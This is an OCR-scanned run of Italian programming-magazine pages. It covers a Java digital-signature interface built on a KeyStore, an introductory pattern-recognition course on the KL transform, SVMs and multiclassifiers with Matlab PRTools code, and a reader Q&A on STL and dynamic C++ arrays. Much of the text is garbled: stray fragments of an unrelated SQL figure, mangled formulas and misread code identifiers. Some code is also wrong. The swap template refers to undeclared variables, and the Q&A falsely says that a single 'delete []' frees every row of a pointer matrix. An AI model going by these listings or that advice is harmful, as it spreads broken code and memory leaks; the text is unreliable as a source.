ProductNaì 
<CATÉCOr 
CategoryNai 
in-nODU-'-' 



firma 

digitale 



X509 



E lo standard che 
definisce i forma- 
ti e le informazioni che 
un certificato digitale 
deve contenere. 



AWT 

Abstract Window 
Toolkit, libreria di 



Ó 



classi mediante la qua- 
le è possibile sviluppa- 
re le Gui di ciascuna 
applicazione secondo i 
canoni grafici, specifi- 
ci della piattaforma 
usata; il tutto nel pieno 
rispetto della filosofia 
Sun "write once, run 
everywhere ". 



Fig. 3: L'interfaccia (modalità firma) 



http ://www.itport al.it 



g g 



3 ►►► 119 



BELECT 




PiOdutUÙ, 








1-P.nf P.ODUCTS IN%TR JOJN 


ON Pi- L'DUCTS. 






CAiEomaiaD for xml auto 


















Categpn^^fc 


"Beverages^ 


< PRODUCTS Pr\ 


JuctTO-"2' 






<CAT£CORIES 




CategoryNatn** 


^eve/ages7> 


<,vrtC[>i,CT-:: 





firma 

digitale 



KeyStore 

Nel precedente ap- 
puntamento una 



Ó 



parte dell'applicazione è 
stata dedicata alla ge- 
nerazione e la gestione 
della coppia di chiavi 
asimmetriche, indispen- 
sabili per la generazio- 
ne e verifica della firma 
digitale. Le chiavi, op- 
portunamente genera- 
te, venivano memoriz- 
zate all'interno di un 
KeyStore. 



Fasi di 
progettazione 

progettazione 



Ó 



La 



del sistema è stata 
suddivisa in due fasi: 
una prima fase in cui è 
stato progettato il sotto- 
sistema, che si occupa 
della generazione e ge- 
stione della coppia di 
chiavi asimmetriche usa- 
te per firmare e verifica- 
re i documenti. 
Una seconda fase in cui è 
stato progettato il pro- 
dotto software che con- 
sente all'utente di firma- 
re un documento oppure 
di verificare la firma ap- 
posta sullo stesso. 



Firma & Verifica 



Firma Digitale Verifica Della Firma 



Documento da verificare : torre.jpg. 

Chiave : marano.cer. 

Firma del documento : Firma. 



Fig. 4: L'interfaccia (modalità verifica). 

semplice interfaccia che permetta all'utente di interro- 
gare il KeyStore ed estrarre la chiave privata. Evitando 
tediose e ripetitive analisi sulla composizione dell'in- 
terfaccia, ci limitiamo a descrivere solo il pannello del 
contenuto. Quello che ci serve sono semplicemente tre 
etichette (JLabel), e tre campi di testo mediante i quali 
fornire l'input necessario al back - end descritto nel 
precedente articolo. Inizialmente definiamo il layout 
manager del pannello, quindi adottando la politica Ja- 
va sulla gastione dei contenitori utilizziamo due pan- 
nelli distinti per la gestione delle etichette e dei capi di 
testo. Quindi i pannelli così arredati vengono collocati 
all'interno del pannello principale. 

// definiamo il contenitore 

setBorder(BorderFactory.createEmptyBorder(20, 20, 20, 20)); 
setLayout(new BorderLayout()); 
// creazione dei pannelli accessori 
Component LabelPanel = makeLabelPanelQ; 
Component TextPanel = makeTextPanel(); 

add(LabelPanel, BorderLayout. CENTER); 

add(TextPanel, BorderLayout. EAST); 

La costruzione di LabelPanel, pannello che funge da 
contenitore per le etichette, si struttura in tre fasi: la 
creazione di un un pannello che serve da contenitore, 
la definizione degli oggetti JLabel e la conseguente di- 
sposizione delle etichette nel contenitore. 

protected Component makeLabelPanel(){ 
// definizione delle etichette 

AliasCertificato = new JLabel(ACstring); 

KeyStorePassword = new JLabel(KSPstring); 

PrivateKeyPassword = new JLabel(PKPstring); 
// creazione del pannello (contenitore) 

JPanel labelPane = new JPanelQ; 
// disposizione etichette sul pannello 

label Pane. setLayout(new GridLayout(0,l)); 

label Pane. add(AliasCertificato); 

label Pane. add( KeyStorePassword); 

label Pane. add( PrivateKeyPassword); 
return labelPane; 
}// makeLabelPanel 

Analogo procedimento viene seguito per la realizza- 
zione di TextPane, il pannello che contiene i campi di 
testo necessari per l'input. 

Inizialmente si procede con la definizione degli ogget- 
ti JTextField e dei relativi listner necessari per la gestio- 
ne dell'evento, quindi si passa alla costruzione del con- 



tenitore ed infine si dispongono gli stessi oggetti sul 
pannello. 

protected Component makeTextPanel(){ 
// definizione campi di testo 
certificato = new JTextField(lO); 
certificato.addActionListener(this); 
keyStore = new JTextField(lO); 
keyStore.addActionListener(this); 
chiavePrivata= new JTextField(lO); 
chiavePrivata.addActionListener(this); 
// creazione del pannello (contenitore) 
JPanel fieldPane = new JPanel(); 
// disposizione etichette sul pannello 

fieldPane. setLayout(new GridLayout(0,l)); 
fieldPane. add(certificato); 
fieldPane. add( keyStore); 
fieldPane. add(chiavePrivata); 
return fieldPane; 
} 

Ultimata la fase in cui si effettua l'input necessario per 
accedere al KeyStore, bisogna necessariamente gestire 
la risposta all'evento, infatti il testo immesso attraverso 
i JTextField viene prelevato e passato come parametro 
all'applicazione che permette di interrogare il KeyStore, 
quest'ultima dettagliatamente descritta nel precedente 
articolo. 

public void action Performed (Action Event evt) { 
String cer = certificato. getText(); 
String ks= keyStore. getText(); 
String kp= chiavePrivata.getText(); 
ChiavePrivata chiavePrivata = new ChiavePrivataQ; 
chiavePrivata.go(cer,ks,kp); 
} 

Per concludere ricordiamo che l'estrazione del certifi- 
cato avviene attraverso l'applicazione Keytool, come già 
descritto in precedenza, usando la seguente istruzione 
a riga di comando. 

C:\ >keytool -export -alias marano -file marano.cer 

Il certificato estratto dal KeyStore viene memorizzato in 
un file la cui estensione è compatibile con lo standard 
X509 v2. 



CONCLUSIONI 

Il sistema sviluppato in questi due appuntamenti, 
permette la certificazione attraverso firma digitale 
debole di tutta la documentazione informatica. 
Definito lo stato dell'arte, sono stati determinati gli 
standard vigenti in materia in modo da realizzare 
un sistema che a tutti gli effetti presenta i requisiti 
legali idonei per un effettivo impiego a norma di 
legge. 

Salvatore Marano 



120 ►►► m 



9 9 



3 



http: //www. itport al.it 



Introduzione 



AL PATTERN RECOGNITION parte seconda 

In questa seconda e ultima parte del corso introduttivo 
di pattern recognition focalizzeremo l'attenzione sui 
metodi di selezione delle feature e sulla classificazione 
mediante l'utilizzo delle Support Vector Machine (SVM) 
e mediante Multiclassificatore (MCS). 




Pattern 

Recognition 



Molti metodi di pattern recognition sono basa- 
ti sull'estrazione di feature e successivamen- 
te dalla classificazione. Utilizzare "tante fea- 
tures quante possibili" porta normalmente a risultati 
non eccellenti: è di fondamentale importanza che le 
feature non siano correlate /ridondanti. I metodi di se- 
lezione delle feature si dividono in due classi, gli algo- 
ritmi della prima classe determinano un sottoinsieme 
che massimizza un certo criterio, metre la seconda 
classe è costituita da algoritmi di ricerca. I criteri di de- 
cisione possono essere i risultati della classificazione 
oppure la distanza fra clusters. Le tecniche considerate 
più efficaci per il problema della feature selection sono 
le SFSM (Seqtiential Floating Search Methods), tali meto- 
di si dividono in due categorie: forward (SFFS) and 
backward (SFBS). Nel SFFS si parte con un sottoinsie- 
me vuoto e, ad ogni step, si aggiunge la migliore fea- 
ture sulla base di un dato criterio, inoltre si verifica se 
l'eliminazione della peggiore feature ci permette di 
massimizzare il criterio. I vari step si susseguono fin- 
ché non si raggiunge il numero di feature desiderate. 
La ricerca backward (SFBS) lavora in maniera analoga, 
ma partendo da un sottoinsieme comprensivo di tutte 
le feature. Citiamo infine i metodi AFSM (adaptive 
floating search methods), la cui differenza rispetto al 
SFSM è che considera più feature nel medesimo passo. 
Un'altra soluzione a questo problema è l'utilizzo di 
metodi di riduzione di dimensionalità, i quali eseguo- 
no un mapping dallo spazio iniziale composto da N 
features ad uno spazio di dimensione inferiore. La più 
nota trasformata per effettuare tale trasformazione è la 
trasformata di Hotelling o espansione discreta di 
Karhunen Loeve, la quale è basata sulle proprietà sta- 
tistiche dei patterns. 



TRASFORMATA KL 

Uno dei compiti più difficili nella pattern recognition è 
lo sviluppo di una teoria in grado di trattare qualsiasi 
tipo di pattern, senza avere informazioni sul dominio 



applicativo. I migliori approcci per l'estrazione auto- 
matica delle caratteristiche sono le trasformazioni li- 
neari introdotte dalla KL e dalla discriminant analysis. 
Le caratteristiche vengono selezionate durante un Trai- 
ning: i due metodi differiscono per il fatto che il primo 
ottimizza la rappresentazione dei pattern, il secondo 
costituisce un approccio supervisionato alla classifica- 
zione. Recentemente è stata introdotta una generaliz- 
zazione della trasformata KL, la Multi-space KL (MKL) 
nella quale vengono creati più sottospazi per rappre- 
sentare i pattern. Come precedentemente detto uno dei 
metodi più utilizzati per effettuare la riduzione di di- 
mensionalità è la trasformata di Karhunen Loeve o, co- 
me spesso viene chiamata, trasformata di Hotelling. 
Un'altra applicazione di tale modello, particolarmente 
utile nel nostro caso particolare, è la possibilità di tra- 
sformare variabili correlate in incorrelate. Ricordiamo 
che l'utilizzo di feature correlate riduce il potere discri- 
minante. Viene definita proiezione di un vettore sullo 
spazio KL fc-dimensionale un cambio di coordinate, a 
seguito del quale d-k coordinate divengono nulle. Vie- 
ne definita retro-proiezione di un vettore nello spazio 
KL fc-dimensionale un cambio di coordinate, a seguito 
del quale d-k coordinate divengono non-nulle. I difetti 
della KL sono principalmente due: 

• Problema della linearità 

• Problema della scalabilità 

Con Problema della linearità s'intende il fatto che la KL 
fornisce un mapping lineare, dunque è adatta a dati 
che seguono una distribuzione Gaussiana, ovvero la 
nuvola di punti è vagamente simile a un'iperelissoide. 
Con Problema della scalabilità s'intende il fatto che 
quando il numero di pattern e di classi aumenta, è ne- 
cessario un training set più grande per soddisfare le 
necessità di rappresentatività, e l'efficacia della KL di- 
minuisce: il potere delle caratteristiche scompare quan- 
do le caratteristiche tendono a diventare uniformi, 



® 



File sul CD 



\soft\codice\prtools 



File sul Web 

www.itportal.it/iop69 
/prtools 



Feature 



Caratteristiche 
estraibili da un 
pattern. Tali valori, 
normalmente memo- 
rizzati in vettori, ven- 
gono utilizzati dal si- 
stema di classificazio- 



http://www.itport al.it 



g g 



3 ►►► 121 




Pattern 

Recognition 




Fig. 1: Differenza KL/MKL/. 

mentre il tempo di training può diventare proibitivo. 
Si può cercare di superare queste limitazioni aumen- 
tando la dimensionalità del sottospazio KL, solitamen- 
te tali tecniche non portano a risultati soddisfacenti: 
nella classificazione ci potrebbe essere un peggiora- 
mento delle prestazioni, in quanto l'informazione por- 
tata dalle dimensioni aggiuntive potrebbe contenere 



"rumori" di vario genere; nella rappresentazione un 
certo appiattimento delle caratteristiche permane. 
Nella parte destra della Fig. 1 vi è la riduzione da due 
a una dimensione mediante KL, in poche parole deter- 
minato il sottospazio (la linea nera) si proiettano su es- 
so i pattern. Nella MKL (parte sinistra) si usano più 
sottospazi, il pattern viene proiettato nel sottospazio 
più vicino, così facendo ottengo una migliore rappre- 
sentazione dei dati a pari riduzione di dimensionalità. 
Per i più volenterosi, soprattutto per chi ha un minimo 
di conoscenze di geometria e statistica, nel paragrafo 
Formalizzazione KL/MKL si spiega come si creano i sot- 
tospazi e com si effettuano le proiezioni. Analogamen- 
te alla KL anche nella MKL l'aumento del numero di 
dimensioni minimizza l'errore, bisogna comunque te- 



Nearest 
Neighbor 



Assegna un pat- 
tern alla classe di 
appartenenza del pat- 
tern del training set 
più vicino in base, in 
genere ma non è obbli- 
gatorio, alla distanza 
euclidea. 



FORMALIZZAZIONE MATEMATICA DELLA KL/MKL 



Sia P un insieme di n pattern d dimensionali, posto 
X il vettore dei patterns, e p(X) la sua funzione di di- 
stribuzione, il vettore medio di X è definito (nel ca- 
so più pratico di variabili discrete con probabilità 
uguali) 



din) . 



*x& 



X 



Mentre la matrice di covarianza, la quale indica la di- 
spersione della distribuzione, è definita nel seguente 
modo: 



: (Un) . 



J x£P 



(x-x)(x-x) 



Dato che la matrice di covarianza è reale e simmetri- 
ca, esistono una matrice diagonale A costituita dagli 
autovalori della matrice di covarianza, e dalla matri- 
ce ortonormale <p le cui colonne sono gli autovettori 
dei corrispondenti autovalori della matrice di cova- 
rianza. 



:/ 



Dal fatto che la matrice sia simmetrica e che gli ele- 
menti della matrice di covarianza siano reali implica 
che anche gli autovalori e i relativi autovettori siano 
reali. La trasformata viene definita come: 

Y=0 T (X-X) 

Per il nuovo vettore otteniamo i seguenti risultati: 

Y = E(</> T (X-X)) = (j> T (E(X) -X) = 

2i y = E(<j> T (X-X)(X-X) T (p) = <j) T 2s x (l> = A 

Ciò implica che le componenti delle trasformate sia- 
no incorrelate. La trasformata inversa è così definita: 



X = (pY + X 

In sostanza gli autovettori individuano la direzione 
di massima variazione dei patterns, mentre gli auto- 
valori rappresentano la loro varianza. 
Vediamo ora la MKL, sia P= lx i ER" I i = 1... mj in- 
sieme di m vettori n-dimensionali; per una partizio- 
ne di P e per un dato insieme K di scalari, tali che: 

UPj = PPiDPj = 0, Vi,j = l..s,i *} 
Vincolo ài partizione 



ni: = card(P:) ; 



m 
,s + l 
Vincolo di bilanciamento 



Vz = 2..s 



Tre sono i requisiti numerici che il numero k di auto- 
vettori deve soddisfare in ogni sottospazio: 

k<d, k<n, k>0 

La trasformata MKL è definita dai sottospazi: 



S = ISi = S^^. ki ,i = l..sì 
dove 



x = (I/m) -*-> x 

matrice le cui colonne sono gli autovettori corri- 
spondenti ai più grandi autovalori. Si definisce solu- 
zione MKL una terna, (s, p, K). 
Facilmente si osserva che la KL nienf altro è che un 
caso particolare della MKL, con s=l, P = IP}, K = Ikj. 
L'errore quadratico medio percentuale di ricostruzio- 
ne è definito come la somma pesata dell'errore medio 
legato agli spazi KL. 



122 ►►► m 



9 9 



3 



http: //www. itport al.it 



ner conto che nelle applicazioni di classificazione, è 
stato dimostrato che la minimizzazione oltre un certo 
limite non migliora la separabilità delle classi, mentre 
le performance potrebbero peggiorare. Stesso risultato 
si ottiene aumentando il numero di sottospazi, in que- 
sto caso bisogna stare attenti a non utilizzare pochi ele- 
menti per la creazione del sottospazio, questi non po- 
trebbero essere in numero sufficiente per rappresenta- 
re nuovi pattern, ci troveremo di fronte ad una manca- 
ta capacità di generalizzazione. Vediamo ora l'utilizzo 
pratico della KL con le classi del PRTool. Guardiamo la 
rappresentazione grafica utilizzando i primi due auto- 
vettori per la rappresentazione di una foto. 

if exist('facel.mat') ~= 2 

error('Face database not in search path') 
end 

a = readface([l:40],l); 

w = klm(a); 

imagesc(dataset(eye(39)*w', [],[],[],[], 11 2)); drawnow 

Come potete notare il codice è elementare: letto il da- 
tabase di facce Cfacel.mat'), effettuo il mapping della 
KL (klm) a una singola dimensione. Infine, imagesc crea 
l'immagine di Fig. 2. 




Fig. 2: Rappresentazione di foto mediante KL. 



Tale rappresentazione, a prima vista non utile, lo sarà 
assai nella classificazione. . . (cioè nella creazione di un 
riconoscitore di volti). Comunque il metodo di creare 
un mapping KL è sempre questo (qualsiasi problema 
stiamo trattando): creo il mapping (w) e poi per ridur- 
re un dataset effettuo una "moltiplicazione" di questo 
per il mapping, (ricordate w=klm (dataset, dimensione)). 



SVM 

Al contrario dei classificatori classici in cui si cerca di 
stimare la densità di probabilità delle classi, in questo 
metodo si cerca di trovare le superfici decisionali che 
delimitano le classi. L'azione del Support Vector Ma- 
chine (SVM), consiste nel mappare lo spazio di input 
R M (m è il numero delle caratteristiche estratte) in uno 
spazio R D (con d>m) in cui viene costruito l'iperpiano 
che permette, grazie ai maggiori gradi di libertà di se- 
parare i dati di training appartenenti alle due classi. 



L'iperpiano utilizzato per la separazione viene scelto 
come quello che rende massima la distanza fra l'iper- 
piano e il vettore di training ad esso più vicino: Maxi- 
mal Margin Hiperplane (MMH). Effettuiamo un sem- 
plice confronto con uno dei modelli più utilizzati, una 
rete neurale, tipo Multi Layer Perceptron (MLP), in 
questo caso l'iperpiano ottenuto dopo l'addestramen- 
to è il risultato dei cambiamenti che subisce quello ini- 
ziale, scelto a caso, cercando di trovare una zona in cui 
i dati del training set siano classificati correttamente (o 
quasi). Esiste un problema: si cade spesso in minimi lo- 
cali che non permettono di raggiungere la soluzione 
ottima del problema. 




Fig. 3: Iperpiani di separazione. 



Vediamo ora alcune proprietà delle SVM: 

1) La soluzione, se esiste, corrisponde ad un minimo 
globale per il problema in esame ed è unica. 

2) Solo una parte dei vettori presenti nel Training Set 
i cosiddetti Support Vector, compariranno nell'e- 
spressione della soluzione. 

3) L'algoritmo, inizialmente sviluppato per casi li- 
nearmente separabili, è facilmente generalizzabile 
al caso non lineare. 

4) La complessità dipende dal numero dei pattern del 
Training Set e non dalla dimensionalità dello spa- 
zio delle feature. 

Consideriamo il problema in cui possediamo due clas- 
si di pattern linearmente separabili, cioè esista almeno 
un iperpiano in grado di separare senza errori i dati. 
I Pattern che giacciono sul margine sono detti Support 
Vector, in base a questi si può definire la soluzione del 
problema. Ci troviamo di fronte ad un problema di ot- 
timizzazione vincolata con una funzione quadratica da 
ottimizzare con vincoli lineari. Nel caso di un training 
set non-separabile, non è definibile un margine di con- 
fine tra le due classi, quindi la formulazione utilizzata 
non è direttamente applicabile. In questo caso, duran- 
te la costruzione dell'iperpiano ottimo s'introducono 
variabili di slack nei vincoli in modo tale che, se un 
pattern viene classificato giustamente, allora le varia- 
bili di slack valgono 0. Inoltre viene definito un costo 
per errori di classificazione, si modifica quindi la fun- 




Pattern 

Recognition 



Feature 
Selection 

Insieme di meto- 
di per selezionare 
d feature fra le D di- 
sponibili (d<D), lo sco- 
po è massimizzare le 
performance del siste- 
ma di pattern recogni- 
tion. 



Multi- 
classificatore 

Metodi per com- 
binare l'output di 
più classificatori in 
modo da migliorare le 
performance rispetto 
all'uso di un singolo 
classificatore. 



http ://www.itport al.it 



g g 



3 ►►► 123 




Pattern 

Recognition 



Trasformate 
KL 

Insieme di meto- 
di che permetto- 



Ó 



no di ridurre la dimen- 
sionalità del problema 
annullando alcune co- 
ordinate del sistema, 
in particolare vengono 
eliminate le dimensioni 
meno utili dal punti di 
vista rappresentativo. 



SVM 

Classificatore che 
cerca di creare 



Ó 



una superficie di sepa- 
razione fra le classi, in 
modo da massimizzare 
la distanza fra i pattern 
delle diverse classi. 



zione da minimizzare, inserendo il parametro C che 
definisce il peso da dare agli errori nella ricerca dell'i- 
perpiano ottimale e viene deciso a priori dall'utente. 
Nel caso di vettori non giustamente classificati il mol- 
tiplicatore di Lagrange vale C, se invece i vettori sono 
ben classificati vale fra e C. In definitiva C è il limite 
superiore per i valori dei moltiplicatori. La soluzione 
del problema per il caso non separabile può essere ge- 
neralizzata al caso in cui si voglia dare un costo diffe- 
rente agli errori di classificazione d'esempi apparte- 
nenti ad una classe rispetto agli altri. Questa possibilità 
potrebbe essere motivata ad esempio se, all'interno 
dell'insieme di training, si ha un diverso numero d'e- 
sempi, oppure dalla necessità di introdurre uno sbilan- 
ciamento, in modo da avere un ulteriore parametro 
con cui raffinare l'apprendimento della rete. Si cerca 
ora di dare la formulazione delle SVM nel caso non li- 
neare: si tratta semplicemente di effettuare un map- 
ping non lineare dallo spazio di input di d dimensioni 
in uno spazio H a m dimensioni (feature space), dove 
m>d. e costruire in questo spazio l'iperpiano. 

TEOREMA DI COVER % 
SULLA SEPARABILITÀ 
DEI PATTERN 

Un problema non banale di classificazione, mappato 
non linearmente in uno spazio con un numero di di- 
mensioni maggiore di quello originario, ha più proba- 
bilità di essere linearmente separabile. Talvolta accade 
che problemi non separabili nello spazio di partenza 
diventino separabili in quello delle feature, dove mag- 
giori sono i gradi di libertà. Ciò equivale a separare i 
pattern nello spazio originario con superfici comples- 
se. Il problema più rilevante sarebbe ora quello di cal- 
colare l'immagine in H di ogni vettore appartenente al 
problema, nella maggior parte dei casi ciò è computa- 
zionalmente intrattabile. Per risolvere questo proble- 
ma si utilizzano le cosiddette funzione kernel (le quali 
ovviamente devo soddisfare alcune condizioni, in par- 
ticolare quelle imposte dal teorema di Mercer). 
Le funzioni kernel che soddisfano il teorema di Mercer 
sono numerosissime, ma quelle più note e utilizzate 
sono: 

1) Polinomio di grado a 

2) Radiai Basis Function (RBF) 

3) Neural Network 

4) Espansione di Fourier. 

FORMALIZZAZIONE 
MATEMATICA DELLE SVM 

Consideriamo due classi di pattern e definiamo un 
insieme di training contenente n campioni in questo 
modo: 



Ixj ,y i I con y E(+l, -1), dove con y si intendono le eti- 
chette delle due classi. In iperpiano è così definito: 

D(x)=wx + b 

w: vettore normale all'iperpiano 
bj \\w 1 1 : distanza dall'origine 
D(x)=0 : luogo dei vettori sul piano 
x= x p + rwj 1 1 w 1 1 , D(x p ) = 

I vincoli che l'iperpiano deve sottostare sono i se- 
guenti: 

wxj + b>l 
wxj +b < -1 

in forma compatta: 

J/; (iVXj + b )>1 

Dunque la distanza del vettore positivo (negativo) più 
vicino all'iperpiano è pari a 1/ \\zv \\. 



Xj 




^^^^\yj* x 










\ ' ■ \ 

\ '■■/• '■ A 

n h\ <S \ 
/\ &W\ 


— *-.tJ 








~~~~**x, 





Fig. 4: Rappresentazione 3-D dell'iperpiano. 

Il margine è dato dalla loro somma. Il problema consi- 
ste nel cercare quell'iperpiano che massimizza il mar- 
gine. Questo tipo di procedimento è giustificato dal 
fatto che, in prossimità di un punto appartenente ad 
una certa classe, è più probabile trovare punti della 
stessa classe che punti dell'altra. In definitiva il proble- 
ma è il seguente: 

Minimizza: \ \ w \\ 2 /2 

Vincoli y t (wx i + b) >1 - e ì , i=l..n 

Vediamo come utilizzare l'SVM nel PRTool. 

[WJ] = svc(A,type,par,C) 

A è il dataset di training, txjpe implica il tipo di kernel: 



124 ►►► M a g g 



3 



http: //www. itport al.it 



'pohjnomiaV I 'p' 
'exponential' I 'e' 
' radiai _basis' I V 
'siginola' I 's' 

par e C sono i parametri del Kernel (non preoccupa- 
tevi se non li inserite li mette di default la funzione) 
e il peso degli errori. L'output è composto dal solito 
mapping w e da / che contiene l'indice degli oggetti 
di support. Per classificare un test set basta: 

testd(dataset(test set)*io) ; 



MULTICLASSIFICATORI 

Per prima cosa spieghiamo che cosa s'intende con 
multiclassificatore. Con tale termine s'intende un si- 
stema dove diversi classificatori sono utilizzati con- 
temporaneamente, e le decisioni dei singoli classifi- 
catori sono fuse. Recentemente è stato dimostrato 
che l'utilizzo di combinazione di classificatori può 
migliorare, talvolta anche marcatamente, le presta- 
zioni di un singolo classificatore. 
Molto importante è tener conto che la combinazione 
è efficace solo nel caso in cui i singoli classificatori 
siano in qualche modo indipendenti fra loro, ovvero 
non commettano errori dello stesso tipo. 
Tale indipendenza si può ottenere cercando di utiliz- 
zare feature diverse, impiegando algoritmi diversi 
per l'estrazione delle feature, utilizzando training set 
diversi (bagging), oppure insistendo nell'addestra- 
mento con i pattern più frequentemente classificati 
erroneamente (boosting). 

In particolare la fusione avviene a livello di confi- 
denza oppure a livello di decisione. 
Nella fusione per decisione ogni singolo classificato- 
re fornisce in output la propria decisione (che consi- 
ste nella classe cui ha assegnato il pattern) e il livello 
di affidabilità della classificazione eseguita (ovvero 
di quanto il classificatore si sente sicuro della deci- 
sione presa). Uno dei più noti e semplici metodi di 
fusione è la cosiddetta majority vote ride; ogni classifi- 
catore vota per una classe, il pattern viene assegnato 
alla classe maggiormente votata. Dato un problema 
di classificazione a due classi e un multiclassificatore 
costituito da N classificatori, la majority vote rule 
classifica il pattern come appartenente alla classe che 
ha ottenuto almeno (N+l)/2 voti. 
Teoricamente se i vari classificatori sono indipenden- 
ti (cosa a dir poco difficile da ottenere in pratica) uti- 
lizzando 21 classificatori, dove ogni classificatore 
commette il 20% di errore in pratica, l'errore del mul- 
ticlassificatore sarebbe del 0.001% !. 
Nella fusione a livello di confidenza ogni singolo 
classificatore fornisce in output la confidenza di clas- 
sificazione del pattern rispetto a ciascuna classe, ov- 
vero un vettore di dimensionalità pari al numero del- 
la classi. Dove l'i-esimo elemento indica la probabi- 
lità di appartenenza del pattern alla classe i-esima. 



Diversi metodi di fusione sono possibili tra cui: som- 
ma, media, prodotto, max, min. 
Il metodo della somma è uno dei più noti e utilizzati 
per la sua robustezza. Il metodo prevede di eseguire 
la somma vettoriale dei diversi vettori di confidenza, 
e di classificare il pattern sulla base dell'elemento 
maggiore. Una semplice variante è quella della som- 
ma pesata, dove la somma dei vettori di confidenza 
è eseguita pesando i diversi classificatori in base al 
loro grado di abilità. Il grado di abilità in genere vie- 
ne definito in base alle singole prestazioni dei classi- 
ficatori, ad esempio in maniera inversamente pro- 
porzionale all'errore di classificazione. Infine tengo a 
sottolineare che bisogna fare molta attenzione alla 
normalizzazione dei diversi vettori di confidenza. 
Infatti, spesso questi non sono tra loro confrontabili a 
causa dei diversi spazi di variazione. Per una nor- 
malizzazione efficace una semplice divisione rispet- 
to agli spazi di variazione non è sufficiente.... 
Vediamo dunque un esempio di multiclassificazione: 

A=gendatd(100,100,10); 

[B,C] = gendat(A,20); 

wkl = klm(B,0.95); %mapping con la KL 

bkl = B*wkl; % riduzione mediante KL 

vkl = ldc(bkl); % Idc è un classificatore statistico 

wl = wkl*vkl; %opero nello spazio originario 

testd(C*wl) 

wfn = featself(B,'NN',3); %metodo di feature selection 

bfn = B*wfn; vfn = ldc(bfn); 

w2 = wfn* vfn; 

testd(C*w2) 

wfm = featself(B,ldc,3); 

bfrn = B*wfm; 

vfm = ldc(bfm); 

w3 = wfm*vfm; 

testd(C*w3) 

w4 = ldc(B); 

testd(C*w4) 

w5 = knnc(B,l); 

testd(C*w5) 

wall = [wl,w2,w3,w4,w5]; %combinazione 

testd(C*meanc(wall)) %regola della media. . . 

testd(C*maxc(wall)) 

testd(C*minc(wall)) 

testd(C*majorc(wall)) 



CONCLUSIONI 

Si conclude con questo articolo questa breve intro- 
duzione al pattern recognition, nel corso della quale 
spero di aver spiegato i concetti fondamentali di que- 
sta affascinante disciplina delle scienze dell'informa- 
zione. Nei prossimi tratteremo problemi pratici, vi ri- 
cordo ancora una volta che i listati che presenterò nei 
prossimi articoli saranno basati sulle classi del PR- 
Tool 3 (ma non solo), e saranno scritti in linguaggio 
Matlab 6.0. 

Loris Nanni 




Pattern 

Recognition 



Bibliografia 

• MULTI-SPACE KL FOR 
PATTERN 

RECOGNITION AND 
CLASSIFICATION. 
TECHNICAL REPORT N° 5 
R. Cappelli D.Maio 

D. Mattoni 

(CSITE-CNR Università 
di Bologna) 
2000 

• MAKING 
LARGE-SCALE SVM 
LEARNING PRACTICAL 
Thorsten Joachims 
LS8-Report, 24, 
Università di Dortmund, 
LS VIII-Report 

1998 



http ://www.itport al.it 



Maggio 2003 ►►► 125 



N B 




TNBox 

A I \ L'esperte 



esperto risponde... 



Librerie STL 

► ►►►►►►►►►►►►►► 

Cara redazione di ioProgrammo, 
vorrei disturbarvi con una 
domanda: che cos'è la libreria STL 
e quali differenze sussistono con le 
librerie standard del C++? Vi rin- 
grazio in anticipo per il vostro 
tempo e per la cortesia. 

Elia Federici 

STL è una libraria sviluppata da Ale- 
xander Stepanov, da sempre in contrap- 
posizione alla programmazione orientata 
agli oggetti, quest'ultima costituente il pa- 
radigma principale del linguaggio C++. 
STL si basa invece sul paradigma della 
cosiddetta programmazione generica. Le 
librerie standard del C++ traggono notevo- 
le spunto da STL, tuttavia il loro contenuto 
è deciso in seno al comitato ANSI/ISO. 
Nella sostanza, la differenza principale tra 
STL e programmazione orientata agli og- 
getti consiste nella differente implementa- 
zione del polimorfismo universale (non ba- 
sato sulle forzature - coercion), parametri- 
co per la prima, per inclusione nel secondo 
caso. Un esempio di polimorfismo para- 
metrico è costituito dall'implementazione 
di una funzione di scambio (scambia) indi- 
pendente dai dati di ingresso: 

template< class T > 

void scambia( T* primo, T* secondo ) 

{ 

T temp = *primo ; 

*a = *secondo ; 

*b = temp ;} 

Il codice indica una famiglia di funzioni, 
parametrizzate sul tipo T, che scambiano 
elementi di tipo T. In realtà, una funzione 
non può operare su parametri di tipo qua- 
lunque, poiché dobbiamo supporre che 
esista una relazione d'ordine tra i due 
parametri (nel nostro caso l'uguaglianza). 
Per tale motivo, in questo caso, si parla di 
genericità con vincoli. L'approccio "orien- 
tato agli oggetti" al polimorfismo è molto 
differente. Anziché definire una funzione 



rendendola parametrica rispetto ai tipi 
trattati, si definisce la categoria (classe) 
degli elementi su cui ha senso applicare la 
funzione. Quindi, mentre nel polimorfi- 
smo parametrico si parte dalle funzioni, 
mantenendo implicite le proprietà degli 
elementi, nel polimorfismo ad oggetti si 
cerca immediatamente di identificare le 
proprietà degli elementi cui si possono 
applicare le funzioni. Una volta definita 
tale classe, quelle da essa derivate ne eredi- 
tano le funzioni, con la possibilità di ridefi- 
nirle. 



Array bidimensionale 

in C+ + 

► ►►►►►►►►►►►►►► 

Gentile redazione di 
ioProgrammo, vi sottopongo 
un dubbio che mi affligge da qual- 
che tempo. Vorrei capire com'è 
possibile (se possibile!) definire in 
C/C++ un array bidimensionale, 
rendendo dinamico sia il primo che 
il secondo indice. Ho provato ad 
utilizzare un array di puntatori, ma 
il problema si pone in quanto biso- 
gna sempre definire un indice. 
Com'è possibile fare ciò? Ringrazio 
anticipatamente. 

Fabrizio Lallai 

La domanda è un po' ambigua in quan- 
to non si capisce se per array dinamico 
si intende il dimensionamento a runtime o 
il dimensionamento dinamico di un array. 
Nel primo caso, non ci sono problemi di 
alcun genere. Basta usare correttamente 
l'operatore new per allocare la dimensione 
che si intende fornire alla matrice, sia per 
il primo indice, sia per il secondo. Natural- 
mente, occorre inizializzare prima un indi- 
ce (di solito quello delle righe) e poi iterare 
in un eliclo di for l'inizializzazione di cia- 
scun puntatore appartenente al vettore pri- 
ma allocato. Ecco una possibile implemen- 
tazione: 

doublé** Matrice; 



Matrice = new doublé* [numRighe]; 

for (UINT i=0; KnumRighe; i++) 

Matrice[i] = new double[numColonne]; 

Nella seconda riga di codice, inizializzia- 
mo un array di puntatori a doublé costitui- 
to da un numero di elementi pari al valore 
di numRighe. Con il ciclo di for, invece, ini- 
zializziamo ciascuno degli elementi del 
primo array come vettori di doublé costi- 
tuiti ciascuno da un numero di elementi 
pari al valore di numColonne. L'operazione 
può essere fatta in qualsiasi momento, per- 
tanto può avvenire anche a runtime. 
Naturalmente, quando la matrice non 
serve più, la memoria va rilasciata con una 
istruzione del tipo delete [] Matrice, lascian- 
do al compilatore il compito di rilasciare la 
memoria impegnata dai vari puntatori. 
Tutt' altro discorso, invece, se si vuole cam- 
biare a runtime la dimensione degli ele- 
